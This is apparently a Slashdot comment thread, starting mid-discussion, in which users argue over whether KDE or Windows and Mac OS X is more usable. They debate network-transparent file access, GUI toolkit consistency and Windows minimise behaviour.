And the entire Windows OS is decked out with enough user friendliness for most people to use, and, as I put it, 'KDE has a long way to go to catchup with the userfriendliness of Mac OSX and Windows.

Windows, as much as everyone hates it, is still more user friendly than KDE. If they'd spend more time on user friendliness and less on robust (aka confusing, complex) features, they'd find more people willing to try it out.

Re:User friendliness is still the issue

[cozziewozzie]

That's a very biased opinion from someone who obvioudly doesn't use KDE much. I find KDE miles more usable (as a desktop) than Windows. Using Windows is an exercise in frustration for me, and not being able to change it to some sane behaviour is even worse.

Re:User friendliness is still the issue

[lphuberdeau]

Actually, I find KDE a whole lot more friendly than windows. It might be because I have been using it for a very long time, but when I go back to windows, I simply don't understand how/where the options and controls are located.

Compare a usable windows machine (with applications actually installed so you can do your job) with a stock KDE install (where you can still do your job). The menus have a much better organisation in KDE. Graphic-related programs are grouped together, and so are multimedia, development and office applications. Windows tend to sort applications by companies who produced them. How does that make sens for a first-time user?

Windows is easy to use because it arrives with a minimal amount of applications. I have to admit that KDE might look a little scary at first, but at least it's all in there.

Re:User friendliness is still the issue

[Anonymous Coward]

Windows, as much as everyone hates it, is still more user friendly than KDE.

Not for advanced users it isn't. Windows is designed for the first-time users and the email & Internet crowd to be able to use it. The ``features'' that make it nice for newbies makes it a horrible crapfest for anyone with experience. With KDE, I don't see configuration options unless I actually move to configure something. Under Windows, there's a breaking-in period where the ``Check here if you never want to see this again'' options have to be set. It irks me to think that everytime I do that action again, there's a branch statement checking a Yes/No/Do_Not_Display flag. Furthermore, have you looked at some of the config options Microsoft gives you? IE's are my least favorite. Instead of naming the technology you want to cut on and off, it names the generic newbie term: ``Turn scripting on?'' Do I? Does it disable Active Scripts or Javascript or both? I was sure I turned Java off earlier, so what's this second mention of Java?

There is a such thing as too much handholding, and Windows does it to the detriment of the most computer savvy users out there.

Lastly, there's been some mention of consistant UIs. Almost every recent app for X has been fairly consistant. There are some discrepancies, but those are often attributable to the different widget sets being used. It's probably no longer fair to mention apps like xfig in talks about X UI consistancy; it's like mentioning the Windows 3.1 macro recorder as an example of a poorly designed Windows app, then using that as a reason why nobody should use Windows today.

Re:User friendliness is still the issue

[Taladar]

You seem to know nothing about programming if you think "robust"=="complex features"

Re:User friendliness is still the issue

[Tim C]

And that's a very biased opinion from someone who obviously doesn't use Windows very much.

(See how easy that is? How is this "Insightful"?)

Re:User friendliness is still the issue

[agildehaus]

That's a very biased opinion from someone who obvioudly doesn't use Windows much. I find Windows miles more usable (as a desktop) than KDE. Using KDE is an excercise in frustration for me, and not being able to change it to some sane behavior is even worse.

To each his own.

Re:User friendliness is still the issue

[Anonymous Coward]

I try KDE every six months on my Linux machine and I can never stand using it for more than a week. I always end up returning to Gnome or Fluxbox and I can honestly say that I would rather use a Windows machine than a Linux box that I am restricted to KDE on. I find KDE extremely bloated and the interface extremely tedious compared to their competitors.

Re:User friendliness is still the issue

[cozziewozzie]

I've used every version of Windows since 3.0. Actually, I've used Win far longer than KDE, including developing for it in a large company. It doesn't let me the use virtual desktops with magic borders. It doesn't let me do focus follows mouse. It doesn't let me split the panel into several parts so I can separate the taskbar from the application launch buttons. It doesn't have focus stealing prevention so some stupid dialog always interrupts my typing. It doesn't (to my knowledge) let me push current window to the background so I can type in it while it's covered by something else. I could go on. KDE lets me do all these things, making me much more productive. And it's not some hardcore TWM-like setup, it's full of pretty icons still, and features such as kioslaves which make my life much more easy.

Let's not even get into the illogical nonsense which Windows fans still defend as user-friendly. For example, if I minimise a program, there are THREE different places it can go. It can go to the taskbar (the only LOGICAL place), it can go to the system tray, or it can be minimised to one of the application launch buttons on the panels. Now how the hell is this friendly and useful, when I have to thing three times before finding my minimised program? Windows usability is SERIOUSLY overrated, get over it. Use KDE for a while and when you get used to it, you will see that it's a much more usable environment.

Re:User friendliness is still the issue

[cozziewozzie]

Nowadays, the interface can behave any bloody way you want. I used to run Afterstep for the longest time because I liked the Wharf, the transparent taskbar on top, magic borders and many other things. Then I figured out that KDE can do all that and more. With a little setting up, it will act however you like. That's the point.

Re:User friendliness is still the issue

[forsetti]

"Using KDE is an excercise in frustration for me, and not being able to change it to some sane behavior is even worse."

Bzzzttt! -- wrong answer. This is exactly the difference - KDE CAN be changed. And, if the behavior change you desire is somehow soooo drastic that KDE can no longer handle it, there are DOZENS of other desktop environments, while STILL using the hardware and applications you already have.

When Windows lets me change it's behavior (change ALL hotkeys, truly replace the browser, create multiple desktops, swap window managers, integrate plugins like filesystem PGP encryption, etc), then we'll chat.

BTW -- I am a Windows System Administrator (Active Directory, et al), using a Linux desktop at both work and home.

Re:User friendliness is still the issue

[Jason Hood]

Agreed.

There are so many misconceptions about KDE which usually deal with complaining about the KDE 1.x and 2.x days. KDE 3.3 is so far ahead of the pack right now in terms of ability and conformity, its not even funny. From any KDE file chooser you can use any of these ioslaves transparently. Thats right, smb,ftp,sftp,fish,lan.rlan,imap,ldap,pop3,nfs,tar, zip and http just to name a few.

The only problem I have with KDE is that they like to include non-KDE apps on the KMenu in most distros. I would prefer they just stick to K apps. There is really no other app that a run of the mill computer user needs that KDE does not offer.

About the only thing you can say to people who keep hounding this useless disinformation is to actually try out KDE for a week. However most wont. sigh.

Re:User friendliness is still the issue

[sp0rk173]

Agreed. I mostly use command line stuff, but enjoy certain GUI niceities - like being able to see thumbnails of my pr0n, thumbnails of random non-pr0n movies, icons that i can click on in a nice little dock-like-doohicky for often-used programs, etc. I don't need a super powerful GUI with tons of customization options. I just want options that are needed. So, I use Gnome. I still keep my mind open to the KDE side, and give it a spin after every major release...but it just doesn't fit me. If it fits you other people out there - great, use it. Lots of people seem completely enamoured with it and thats awesome. But, for me, it's too much. Fluxbox or Gnome, coupled with a command line, give me the ideal desktop experience.

Re:User friendliness is still the issue

[RzUpAnmsCwrds]

"if I minimise a program, there are THREE different places it can go."

No, there is one. Windows always sends minimized programs to the taskbar. If an application is minimizing to the system tray, it is because the application developer has designed the application explicitly to work around the default behavior.

"or it can be minimised to one of the application launch buttons on the panels"

Windows doesn't have a "panel", nor does it have "application launch buttons". If explorer.exe is not running, applications will minimize to a mini-window (ala 3.11) but this is not a normal condition users will encounter.

"Windows usability is SERIOUSLY overrated, get over it."

Why should I get over anything? I administer IT for my company and I can tell you that there is NOTHING that compares to the power and flexibility of Active Directory. Not LDAP/Linux, not OS X.

Whenever I say that I like AD because I can do this or that, some Linux or OS X user always chimes in and tells me that they could write a shell script to do it. They are missing the point. I don't have to write a shell script.

The next time you want to extole the virtues of KDE's usability, show a new user the Control Center. Or the Konqueror menu bar.

There is a reason that even the Linux zealots in my company have a Windows box on their desktop. We have IMAP, but they choose to use Outlook. Why? Because it's the best tool for the job.

Don't piss all over Windows until you've deployed it in a corporate environment. XP SP2 is not Windows 95.

Re:User friendliness is still the issue

[Anonymous Coward]

Windows is only mopre friendly if you are used to using it. KDE != Windows != Mac. They're all different.

I really struggled with XP for a while, because the control panel was totally different, and the choices and menus throughout explorer where not consistent. Those damn menus in the left pane keep changing, based on what is selected, I really found this confusing, because I like to see a complex menu, that presents an over of all the options I have at my disposal. They way windows "hides" only gives relevent menus is good in a sense, because it keeps you from wasting time on unrealted thigns, but bad, if you don't really know what you are looking for to begin with.

Re:User friendliness is still the issue

[Tim C]

It doesn't let me do focus follows mouse... It doesn't (to my knowledge) let me push current window to the background so I can type in it while it's covered by something else.

Both of these are provided by a power toy downloadable from microsoft. While you can't explicitly push the window to the back, with focus follows mouse you can bring a window to the front, then focus the window behind it, which is equivalent.

It doesn't let me split the panel into several parts so I can separate the taskbar from the application launch buttons.

I'm not entirely sure what you mean by that - the quick launch toolbar, while always alongside the taskbar, is seperate in terms of size - one cannot squash the other. Further, while not what you want I suspect, I just dragged mine off onto the desktop - it's now a separate window, and can be set to be always on top.

For example, if I minimise a program, there are THREE different places it can go.

That's not entirely true - by default, all minimized windows go to the task bar. For something different to happen, the application programmer has to expend some effort. You can hardly blame MS for not making this impossible...

it can go to the system tray

That's essentially a hack, invloving something along the lines of closing the window and creating an icon in the system tray. It's by no means default behaviour, and I only have a very few apps that do it. Two of these (firewall and virus scanner) are the sort of thing you have running almost all the time, and so you don't *want* them cluttering up your taskbar.

or it can be minimised to one of the application launch buttons on the panels

I don't even know exactly what you mean by this, but I can only assume that this is another clever programmer hack, almost certainly involving closing the window instead of minimizing it. I've certainly not seen anything behave in the manner you describe.

Use KDE for a while and when you get used to it, you will see that it's a much more usable environment.

Well, I did - I used KDE exclusively for about 18 months at work, at the end of about 5 years of using Linux. In the end, I switched back to Windows. Don't get me wrong, KDE is very good, but it wasn't quite right for me. With XP, pretty-much everything I hated about Windows had been fixed, and while there's nothing I can't do in Windows that I can in Linux, the reverse (for me) is not true.

Re:User friendliness is still the issue

[Anonymous Coward]

I'm pretty sure the win32 api is atleast as capable as the KDE api. Even if you dont have those abilities in the default windows shell, I'm pretty sure you can code it up and some people have done so. The KDE people have just packaged it all up nicely.

In short, your blaming windows is stupid, and if this is the usual level of attack in the windows vs linux issue, then i'm sorry, you people lose.

Re:User friendliness is still the issue

[Guy Harris]

"or it can be minimised to one of the application launch buttons on the panels"

Windows doesn't have a "panel", nor does it have "application launch buttons". If explorer.exe is not running, applications will minimize to a mini-window (ala 3.11) but this is not a normal condition users will encounter.

Might the person to whom you're replying be referring to the quick launch thingies (or whatever they're called in Windowsland) in the task bar in NT 5.0^H^H^H^H^H^HW2K (and possibly other versions)? If so, that's not "minimized", either, as far as I know; it's sort of like launching from the icons in the panel in KDE or the Dock in OS X. I, like you, would only consider a "minimized" window to be a window that's had the "minimize" button in the title bar clicked; those shrink to the taskbar in KDE, just as they do in Windows (and shrink to the Dock in OS X).

Re:User friendliness is still the issue

[Anonymous Coward]

I doubt you have ever programmed to the Win32 API. Get thee a clue.

Re:User friendliness is still the issue

[JamesTRexx]

Active directory is something different than the user interface of the OS. That has to do with an application itself. Outlook is a very good mailclient, and I hope there will be similar open source clients soon, but for the moment it's not surprising the "zealots" use it.
I must say I prefer KDE more than the rigid Windows interface.
And the admintools are good for single tasks, but when it comes to changing settings for a whole bunch of users/pc's scripting is the way to go. If that wasn't possible we would've killed ourselves with our migration to AD.
(writing a comment while watching an action movie makes things rather incoherent)

Re:User friendliness is still the issue

[cozziewozzie]

Yes, I'm referring to the little icons between the Start button and the taskbar. If you minimise Winamp, for example, it doesn't get minimised to the taskbar, but to the little launch icon. If you want to restore the Winamp window, you have to look for it in the taskbar, find that it's not there, then look at the system tray, see that it's not there either, then click on the launch icon, which will restore the window. That's not very logical to me.

Re:User friendliness is still the issue

[Mornelithe]

I'm not entirely sure what you mean by that - the quick launch toolbar, while always alongside the taskbar, is seperate in terms of size - one cannot squash the other. Further, while not what you want I suspect, I just dragged mine off onto the desktop - it's now a separate window, and can be set to be always on top.

I believe he wants multiple panels. You only get one in Windows. Having multiple panels is quite handy.

Re:User friendliness is still the issue

[Guy Harris]

If you minimise Winamp, for example, it doesn't get minimised to the taskbar, but to the little launch icon. If you want to restore the Winamp window, you have to look for it in the taskbar, find that it's not there, then look at the system tray, see that it's not there either, then click on the launch icon, which will restore the window.

Is Winamp just interpreting the "minimize" request as a "close the window but don't exit" operation, and does clicking on the launch icon then somehow arrange to send an indication to Winamp that it should open a new window rather than running winamp.exe (or does running winamp.exe cause the new process to just deliver such an indication to Winamp, or something such as that)?

I.e., is that really a standard form of minimization, or is Winamp just doing something weird? If so, whilst some of the blame could be apportioned to Windows for allowing it to do so, most of the blame probably belongs to Winamp for doing so (and I suspect a perverse developer could arrange to make a UNIX+X11 application do this, too).

Re:User friendliness is still the issue

[sprouty76]

I agree with almost everything you say. There is even code of mine in KDE 3.1 onwards.

However, I doubt you'd find a KDE equivalent of Gimp or GnuCash right now. Sadly, there are still gtk applications with no equivalent KDE version.

I write this as a guy who writes gtk stuff for a living and KDE stuff for fun.

Re:User friendliness is still the issue

[Anonymous Coward]

Winamp's DOES NOT minimize like that by default.
Winamp's default behavior is to minimize on taskbar.

Re:User friendliness is still the issue

[Yartrebo]

You couldn't be more correct. As a former MS Windows 98 user who has used Linux (Mandrake 9.1) for about 1.5 years now, I must say that Windows is harder to learn than KDE.

Although it wasn't an issue back when I used Windows (I got out just in time), spyware, adware, viruses, and god-knows-what isn't good for usability. It's extremely easy to notice the difference when one has isn't used to spyware and the like.

My 4 most common tasks (web surfing, email, browsing my home directory, and the Konsole) all have their own little buttons on the lower-left.

I get multiple desktops enabled by default, and after a little fiddling around in the comparitively intuitive control panel I even get a different background for each one.

On the subject of control panels, the windows control panel is a mess. Desktop environment stuff like backgrounds and themes are mixed in with kernel level stuff like virtual memory. With KDE, you have a nicely laid out panel, and you can't cause any real harm (it doesn't require root). For OS-level stuff (like boot orders, or system services) I use Mandrake control panel, but a newbie doesn't need to and can't use it (unless you're trusting enough to give them the root password).

Re:User friendliness is still the issue

[Anonymous Coward]

Winamp does not minimize to its quick launch button. By default, Winamp minimizes to the task bar. You can set it to minimize to the tray. Or you can set it to do both. By clicking the quick launch icon, you're just telling Windows to load Winamp. Since Winamp is already running, it restores it.

You can reproduce this behavior in KDE for any app that you've created as a "quick launch" button in the panel. Right-click it, hit Properties, hit Application, hit Advanced Options.... Change the DCOP registration to "Single Instance". Voila. At least, in theory. I just attempted this with Konsole, and KDE ignored my preference. At least they tried!

I like to think that I come from a pretty well-rounded OS background. I've run the Microsoft gamut from DOS 3 to Windows XP. I run Mandrake 10/KDE at home. I use Windows 2000 and OS X 10.2.8 at work. I'm familiar with GEM and Workbench, and Mac OS 6 onward. Oh, and PC/GEOS, I had a Toshiba T1600 running that.

All OSes have their ups and downs. The KIO slaves are neat, but not necessarily a good thing. Why is integrating http:// into Windows Explorer a Bad Thing, but integrating fish:// into Konq a Good Thing? Why does Mac OS use verb-based dialogue boxes (Save/Don't Save) while Windows uses answer-the-previous-paragraph ones? (Yes/No). Why does Gnome not let me rearrange my widgets? Why do Konq keyboard shortcuts not apply to the desktop? Why does Jaguar mount all my SMB shares (via CMD-K) using only the share name, resulting in two instances of /Volumes/WEB?

Here's what it boils down to: No OS is perfect. Windows/MacOS/KDE/Gnome all have strengths and weaknesses. It's up to YOU to weigh them against each other, and pick the best one for you.

Re:User friendliness is still the issue

[SirTalon42]

I agree with him and I use both Windows and KDE every day.

Don't forget DCOP

[nacs]

This is one of the things that has impressed me most about KDE. The protocol handlers can make working with some of these protocols a piece of cake.

Also worth noting however, is the DCOP system integrated into KDE. The protocol handlers and DCOP can and do make a powerful combination.

Robust?

[Tim Ward]

The article mentions a thing called Konqueror. I have had occasion to look at the source code for Konqueror and the bits I had to work with were complete and utter crap (OK, so maybe not the absolute worst code I've ever seen, but still many millions of miles from being the best).

So, the "robust, transparent functionality" that the story talks about excludes this Konqueror thingy, does it, or what?

Re:Robust?

[peterpi]

Remember, this is KDE, so you should spell it Krap

Re:Robust?

[Anonymous Coward]

I have had occasion to look at the source code for Konqueror

I guess that makes you special. Last time I checked it was open source.

the bits I had to work with were complete and utter crap

Good thing you posted an example, so no one thinks you're just trolling.

Tell me how in gnome (or windows explorer for that matter) that I can connect to an ssh server for seamless files transfers?

Re:Robust?

[Tony Hoyle]

The innards may well be crap. If it works, who cares?

I've looked at a lot of code in my time and I'd rate 1% of it as actually 'good'.

It's particularly tragic when people 'update' perfectly good apps with a piece of unmanageable spagetti.. I tend to just keep my distance when that happens.

Re:Robust?

[be-fan]

I've been through some KDE code myself (not Konqueror, though, but the code in question is in KIO, not konqueror), and the code quality is very good. It's not as good as Qt, which is pristine as the virgin snow, but pretty good nonetheless.

Re:Robust?

[Anonymous Coward]

Windows Explorer: http://www.mkssoftware.com/images/ScreenShots/scrn -vsftp-02.gif

Re:Robust?

[Anonymous Coward]

Windows Explorer: http://www.mkssoftware.com/images/ScreenShots/scrn -vsftp-02.gif

It's good that you didn't just post an example of some random 3rd party commercial software to illustrate the powers of Windows Explorer. That would be fucking lame.

Re:Robust?

[Anonymous Coward]

I wish TrollTech and KDE would join the rest of the C++ community and use a trailing underscore convention for their class member variable names to distinguish them from local function variables.

Just a thought....

[dickeya]

catch up with the robust, transparent functionality

I think they need to work on the apparent functionality on the Konqueror application before taking a pat on the back.

so do they support shell://

[Anonymous Coward]

that is a great protocal that adds so much functionality to my windows machines while i browse.

till MacOSX and KDE get that, you can hardly call them ahead

now if they had perl:// well, i think that speaks for itsself.

Oh wow

[Anonymous Coward]

Being able to type sfp:// into a browser totally makes KDE better than OS X. Stupid.

Re:Oh wow

[be-fan]

No, but being about to type sftp:// into a browser does make KDE more network-transparent than OS X, which was the point of the article! God, I like OS X myself (like Classic even more), but the special moron task force of the Mac user community is really out in force today!

Wow, you're fast!

[cbreaker]

That didn't take long. I was thinking that I would have to scroll down more then one page to see that garbage.

KDE is pretty damned easy to use and consistent too, it's just that not all applications are written in QT, just as not all Gnome apps are written in GTK. So, you get some apps that don't fall in line with the look and feel of the rest of the OS.

So is the way of the Linux desktop right now, and you can't single out KDE for that.

Re:Wow, you're fast!

[wankledot]

OK, you can't single out KDE, but it's still a problem.

I don't see how this commentary is "garbage" There is a real problem with consistency and polish on the linux desktop, it's ugly and clunky compared to OS X or even windows.

" it's just that not all applications are written in QT, just as not all Gnome apps are written in GTK. So, you get some apps that don't fall in line with the look and feel of the rest of the OS. "

So you're agreeing with me, but not with where I am placing the blame? Fair enough, maybe blaming KDE isn't fair, but it's still a huge problem.

Re:Wow, you're fast!

[the MaD HuNGaRIaN]

Yeah, if everyone would just use Java and Swing, the UI would be the SAME EVERYWHERE!!!!

then we could add a javadoc:// handler and a jar:// handler and even a javac:// handler and......

Uh, what was the question again?

Re:Wow, you're fast!

[be-fan]

it's ugly and clunky compared to OS X or even windows.
Maybe compared to OS X, but certainly not in comparison to Windows. Both GNOME and KDE are more consistent than either OS X or Windows, and in terms of usability, GNOME is fairly close to OS X. There is a reason for this --- GNOME emulates the MacOS classic HIG. In terms of usability, GNOME is far superior to Windows.

Re:Wow, you're fast!

[Anonymous Coward]

Leave. Leave now.

Re:Wow, you're fast!

[wankledot]

"Both GNOME and KDE are more consistent than either OS X or Windows"

Maybe the OS itself, but not the way that applications run on it. OS X has done a really nice job of making sure that applications written in cocoa and carbon behave the same. (it's been worse in the past, and gotten much better.) Maybe it's a testament to the Mac application developers, but linux apps on GNOME and KDE are nothing if not inconsistent with each other and the OS.

Re:Wow, you're fast!

[Taladar]

And we would be back to singletasking since multiple big Java Apps eat way too much memory to be used in parallel like we use "normal" apps now. (and we would have "Crash One - Crash All" problems in a similar way Java Plugins seem to be able to crash the whole browser from time to time)

Re:Wow, you're fast!

[Anonymous Coward]

" Yeah, if everyone would just use Java and Swing, the UI would be the SAME EVERYWHERE!!!! then we could add a javadoc:// handler and a jar:// handler and even a javac:// handler and......"

It's not possible to describe with words how lame you are.

Re:Wow, you're fast!

[drew]

Of course not everyone agrees that the Mac Classic HIG is desirable (*). While they may make the system easier to figure out for someone who has never seen it before, I stopped using Gnome about halfway through the push to implement the new HIG as I found each new release made it more difficult for me to accomplish the tasks I was trying to accomplish. Somebody needs to figure out how to make a system that is easy to learn without getting in the way of people who know what they are doing. Mac OS X sounds like it may have succeeded at this, I can't say as I have not had the chance to use it much yet, but Mac Classic and Gnome most certainly have not.

(*) at least not as implemented- i don't know the guidelines, I have only used systems that have claimed to implement them.

Re:Wow, you're fast!

[be-fan]

Most people agree that the Mac Classic HIG is an example of excellent UI design. It might not suit the tastes of some *NIX users, but it's quality is widely accepted in the user interface design community.

Re:Wow, you're fast!

[Anonymous Coward]

Could you point some facts on how it is better. As someone who gave up on Linux Desktop a while ago, decided not to come back till another 2 years and went back to Windows XP + Cygwin, I would be listening.

Re:Wow, you're fast!

[Anonymous Coward]

Maybe the OS itself

Ah, an Apple fanboy. You obviously know not of which you talk. Troll!

Re:Wow, you're fast!

[be-fan]

I'm not talking about the OS itself. I'm talking about the desktop environments. GNOME applications are very internally consistent, as are KDE applications. GNOME apps may not be consistent with KDE apps, but people don't usually use an eclectic mix of the two. Instead, they use mostly apps from one desktop, with maybe one or two apps from the other DE. This is really no different than dealing with the occasional "unusual" app in Windows, like Winzip, Media Player, RealPlayer, EphPod, iTunes, etc.

Re:Wow, you're fast!

[Anonymous Coward]

"And we would be back to singletasking since multiple big Java Apps eat way too much memory to be used in parallel like we use "normal" apps now. (and we would have "Crash One - Crash All" problems in a similar way Java Plugins seem to be able to crash the whole browser from time to time)"

If you can't run more than one Java application at a time you're either an idiot or are running a computer from 20 years ago.

Re:Wow, you're fast!

[be-fan]

Better than Windows? Sure.

1) Visual consistency. Within KDE, I only use KDE apps, and in GNOME, I only use GNOME apps. As a result, all my apps look the same. They theme the same, use the same color scheme, etc. This is not true in Windows. The major Microsoft apps use different toolkits, so Visual Studio.NET doesn't look like Internet Explorer, and neither look like Office XP.

2) UI simplicity. In GNOME, the UI is very simple and streamlined. This is a direct result of the MacOS-influenced GNOME HIG. For example, Epiphany has 8 toolbar buttons and 5 entries on it's main context menu. Internet Explorer has well over a dozen toolbar buttons, and something like 18 entries in it's main context menu. Large toolbars and context menus are examples of bad UI design, because they prevent users from relying on muscle memory to access elements --- they have to do linear scans through the entries.

3) Consistency of menus. GNOME and KDE apps have very consistent menus. GNOME apps (mostly) put preferences under "edit->preferences" while KDE apps put preferences under "settings." In Windows, the major Microsoft apps differ quit significantly. In Visual Studio, in particular, configuration is spread out over several dialogs in different places.

Re:Wow, you're fast!

[Haeleth]

" it's just that not all applications are written in QT, just as not all Gnome apps are written in GTK. So, you get some apps that don't fall in line with the look and feel of the rest of the OS. "

So you're agreeing with me, but not with where I am placing the blame? Fair enough, maybe blaming KDE isn't fair, but it's still a huge problem.

And the EXACT SAME PROBLEM exists on MacOS X when you use applications that weren't designed for the OS X desktop. Run an OS 9 app in Classic - and it looks different and isn't properly integrated with the desktop! Run a Unix app in X, like Openoffice.org - and it looks different and isn't properly integrated with the desktop!

Why is it okay for OS9 or X applications to look different on OSX, but not okay for Gnome applications to look different on KDE?

Re:Wow, you're fast!

[wankledot]

Excellent point. It's not OK, but classic exists as a hack to bring in compatibility with OS9, it was designed to be phased out over the long term.

Applications in X are also there as a hack to appease users that need access to them, it's not a default installation, and it's not something that Apple recommends that developers move towards, quite the opposite

Classic and X is very very specific environments designed for people that need to use them as a last resort, they are not designed to be an integral part of the OS.

Carbon and Cocoa are a much better example of two completely seperate sets of APIs and development environments that work almost seamlessly in OS X. In some cases you have to work very hard to tell which one was used to make an application. That's the ideal that applications on linux should work toward. And the only reason it's working on OS X is because there is a good central force (Apple) driving things forward and making sure it all works together.

Re:Wow, you're fast!

[drew]

Perhaps that is true (as I said, I'm not familiar with the guidelines themselves) but Gnome farked something up pretty badly. Sure it results in a very nice looking system, but it's also rather unbearable for extended use. And I know I'm not the only one who thinks so. I've talked to an awful lot of people who used to swear by Gnome but switched to KDE, Windows, or something else somewhere between 2.2 and the current version (2.8?) because they didn't like using it anymore.

Re:Wow, you're fast!

[molnarcs]

I agree with you. Also, besides the excellent network transparency, at least according to this guy, PDF support is also better in KDE. And the good thing about that review is that it is an honest comparison, from someone who actually used KDE for production (read: not just installed, didn't like the menu, removed it and came to ./ to harp about OS X).

Note that he compares KDE 3.1.4 with OS X, and yes, there were things he liked, there were things he didn't, some of which has been addressed since then, and there were some things that (be very shocked!!!) he liked better in KDE.

Re:Wow, you're fast!

[be-fan]

Well, I'm a KDE user, but KDE and Windows aren't exactly good examples of UI design. GNOME did something bad in that it took a lot of power and configurability out of the system (that they didn't need to), but in terms of interface design, GNOME is quite good. What the GNOME folks don't yet seem to realize is that you can have an elegant UI, and lot's of configurability too. MacOS classic, for example, while it was simple, also had lot's of "extensions" power-users could use to configure stuff to their liking.

Re:Wow, you're fast!

[adrianbaugh]

Uhh... isn't it just called choice? You don't *have* to use all those horrid nonconformist applications out there - if you stick to applications beginning with the letter K you should be okay. (Tongue planted only partway into my cheek)

Re:Wow, you're fast!

[Jameth]

You're still not really replying to the argument.

MacOS-X is a single desktop environment. KDE is a single desktop environment. GNOME is a single desktop environment. The apps from any one look out-of-place on any of the others. If KDE were run on MacOS-X (the kernel) the MacOS-X (the DE) applications would look out-of-place.

That KDE and GNOME share several similar backends (Linux, FreeBSD, Irix, etcetera) does not in any way make them a single platform. The merely are two different platforms that interoperate well.

Re:Wow, you're fast!

[the MaD HuNGaRIaN]

Jeesh!

IT WAS A JOKE!!!

You guys take things waaaay too seriously.

I mean...c'mon....a javac:// handler???

Re:Wow, you're fast!

[Tzarak]

KDE is pretty damned easy to use and consistent too, it's just that not all applications are written in QT, just as not all Gnome apps are written in GTK. So, you get some apps that don't fall in line with the look and feel of the rest of the OS.

apt-get install gtk2-engines-gtk-qt
(Makes your GTK 2 apps look like Qt ones)

Re:Wow, you're fast!

[Anonymous Coward]

Linux is about choices - always has been, always will be. Choices for users & developers. Don't like something? Don't use it! Don't complain that the rest of us are screwing it up for you because we want to do things our way.

You want consistency? Stick with OS X or Windows.

Re:Wow, you're fast!

[cbreaker]

I'm planning on checking that out soon, it looks like a really neat feature.

The best thing though would be if I could make my GTK apps use the file dialogues from KDE, and allow me to open files as a KDE app can - over it's nifty network transparency stuff as mentioned in this article! Then, the system would be complete. Okay, almost.

Re:Wow, you're fast!

[Guy Harris]

arbon and Cocoa are a much better example of two completely seperate sets of APIs and development environments that work almost seamlessly in OS X. In some cases you have to work very hard to tell which one was used to make an application.

And in other cases you just have to try using Emacs keystrokes in a text field to see if they work or not - if they do, it's Cocoa, if they don't, it's Carbon, at least in Panther. (^A, ^E, ^B, ^F,, ^P, ^N, ^K, etc. work in, for example, the text box in which I'm typing this reply in the Cocoa-based Safari, but they don't work in, for example, the name field for a desktop icon, if you're editing the name in the Carbon-based Finder.)

Admittedly, that is a rather geeky test, which I suspect most Mac users wouldn't even know about, so perhaps that counts as "working very hard". :-)

Re:Wow, you're fast!

[Anonymous Coward]

No thats not even close to the problem.

Wanna know what the biggest problem IMHO with linux is?

I'll tell yah...

Why do I need 50 different ways to configure a printer?

Why do I need 20 user managment tools?

Its great having choices but common. I'd rather have a couple good choices than 50 half assed attempts at something that half way works.

Re:Wow, you're fast!

[mrchaotica]

The desktop environments themselves are the very problem! When I'm using Linux (or any UNIX with an X11 GUI) I don't want to be using GNOME programs and KDE programs and CDE programs and GNUStep programs and Swing programs and Tkinter programs ad nauseum, I want to be using X programs! Now, I have no problem with letting people choose what programming language, toolkit, look-and-feel, etc. they want to use, but what should happen is that a common API develop so that all these window managers, theming engines, widget toolkits, etc. could be swappable. In other words, I want the programs written in such a way that you could swap out QT for GTK and have the program work in the same way (except with the different interface guidelines and such), much in the same way that you can swap out KHTML for Gecko in Konqueror, or XUL for native code with Firefox vs. Camino.

Re:Wow, you're fast!

[SirTalon42]

All programs that run ontop of X11 in Linux are X programs, X allows for a HUGE array of UIs. I hardly ever run non-KDE programs. If I ever run GTK apps, I can't really tell becaues I use the widget set in GTK that emulates the current KDE widget set, same with fonts and colors.

Only time I can tell a program isn't a KDE program is when I use a java app (which isn't often), and those things look ugly on every OS.

Re:Wow, you're fast!

[SirTalon42]

"The major Microsoft apps use different toolkits, so Visual Studio.NET doesn't look like Internet Explorer, and neither look like Office XP."

I'm guessing you haven't used Office 2003, my dad for some reason *needs* it so I've seen it. The widgets are even more differnt in it than almost any other app I've seen, they were even colored differently!

Windows is a mess, OS X seems to force everyone to use 1 look. Linux is incredibly consistant long as you stick inside 1 environment (and often you can add GTK apps to a KDE environment by using the GTK widget set that uses the current KDE widget set, color scheme and font

Re:Wow, you're fast!

[be-fan]

First, CDE, GnuStep, Swing, TK, etc, aren't serious competitors, very few people use them. Most of them exist on Windows too, but they're niche tere too. For all intents and purposes, X has two toolkits --- GTK and Qt. Everything else is legacy stuff. That's really no different than on Windows, where you've got multiple toolkits (XP common controls, .NET, Office, etc).

Re:Wow, you're fast!

[mrchaotica]

About me mentioning those toolkits:

• CDE: yeah, I was just being a jerk.
• GNUStep: All the Mac OS X developers use it! :D But seriously, it's really too bad -- it could have been a contender against .NET if anyone paid attention to it.
• Swing: So what do Java programs use, then? SWT? A cursory glance at this suggests that on Linux it is implemented with Motif, not GTK.
• TK: That's the default GUI toolkit for Python, you know.

So yeah, Windows has multiple toolkits too, but at least they look and feel more similar to each other. And at least with that there's clear winner (.NET, and then Avalon [stupid on MS's part, but whatever]) -- one recommended toolkit, and the rest legacy. So at least Windows is working towards standardization. If either GTK or QT was the one standard I'd be happy.

Despite my hatred of "standards" controlled by Microsoft, I suppose Mono (since it works with GTK and not QT) could force a clear winner, which would be good.

I think it would be nice for the only toolkits used at all to be Mono (native Windows), Cocoa/GNUStep (native Mac), and GTK (native X), and for them each to be implemented on other platforms with a SWT- or WxWidgets-like compatibility layer.

Or, I could refine this to say "I wish every toolkit had bindings for every other toolkit, so no matter which one you prefer all your apps will look the same." But now I'm rambling, so I'll stop.

Re:Wow, you're fast!

[be-fan]

A cursory glance at this [eclipse.org] suggests that on Linux it is implemented with Motif, not GTK.
SWT on Linux is implemented on GTK. I didn't even realize there was a Motif port. Even Swing is moving towards adopting GTK look & feels.

TK: That's the default GUI toolkit for Python, you know.
Which amounts to nothing. All the Python apps that people use (eg: RedHat's system tools) use PyGTK. PyGTK and PyQt are quickly supplanting Tk as the default Python toolkit.

So yeah, Windows has multiple toolkits too, but at least they look and feel more similar to each other.
Well, so what you're aruging for is not toolkit unification (which is impossible), but Look & Feel unification.

And at least with that there's clear winner (.NET, and then Avalon [stupid on MS's part, but whatever]) -- one recommended toolkit,
If there is a clear winner, then how come nothing uses it? Very few apps on the average desktop use .NET. Most use the common controls, and Office uses it's own toolkit. From the point of view of the user, having an "official" toolkit means nothing when Office uses a different toolkit from the rest of their apps.

If either GTK or QT was the one standard I'd be happy.
